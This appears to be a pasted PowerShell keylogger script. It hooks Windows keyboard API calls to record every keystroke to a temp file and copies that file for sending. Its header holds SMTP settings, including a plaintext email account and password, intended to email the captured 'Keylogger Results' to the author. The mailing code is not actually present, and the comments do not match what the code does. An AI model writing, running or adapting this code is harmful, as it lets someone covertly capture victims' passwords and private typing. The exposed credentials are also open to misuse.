· 6 years ago · Feb 28, 2020, 08:18 PM
1# Edit only this section!
2$TimeToRun = 2
3$From = "srecko10002@mail.com"
4$Pass = "SVa3y4rs"
5$To = "srecko10002@mail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11
12############################
13
14#requires -Version 2
15function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
16 <#
17 .DESCRIPTION
18 By accessing the Windows low-level API functions, a script can constantly
19 monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
20 Run the function Start-Keylogger to start logging key presses. Once you
21 stop the script by pressing CTRL+C, the collected key presses are displayed
22 .NOTES
23 http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
24 #>
25 # Signatures for API Calls
26 $signatures = @'
27[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
28public static extern short GetAsyncKeyState(int virtualKeyCode);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int GetKeyboardState(byte[] keystate);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int MapVirtualKey(uint uCode, int uMapType);
33[DllImport("user32.dll", CharSet=CharSet.Auto)]
34public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
35'@
36
37 # load signatures and make members available
38 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
39
40 # create output file
41 $null = New-Item -Path $Path -ItemType File -Force
42 $count = 0
43 $mult = 100
44
45 try {
46 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
47
48 # create endless loop. When user presses CTRL+C, finally-block
49 # executes and shows the collected key presses
50 while ($true) {
51 Start-Sleep -Milliseconds 40
52
53 $count++
54 Write-Output $count
55 Copy-Item -Path $env:temp\keylogger.txt -Destination $env:temp\mail.txt
56
57 # scan all ASCII codes above 8
58 for ($ascii = 9; $ascii -le 254; $ascii++) {
59 # get current key state
60 $state = $API::GetAsyncKeyState($ascii)
61
62 # is key pressed?
63 if ($state -eq -32767) {
64 $null = [console]::CapsLock
65
66 # translate scan code to real code
67 $virtualKey = $API::MapVirtualKey($ascii, 3)
68
69 # get keyboard state for virtual keys
70 $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
71 $checkkbstate = $API::GetKeyboardState($kbstate)
72
73 # prepare a StringBuilder to receive input key
74 $mychar = New-Object -TypeName System.Text.StringBuilder
75
76 # translate virtual key
77 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
78
79 if ($success) {
80 # add key to logger file
81 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
82 }
83 }
84 }
85 }
86 }
87 finally
88 {
89 # open logger file in Notepad
90 exit 1
91 }
92}
93
94# records all key presses until script is aborted by pressing CTRL+C
95# will then open the file with collected key codes
96Start-KeyLogger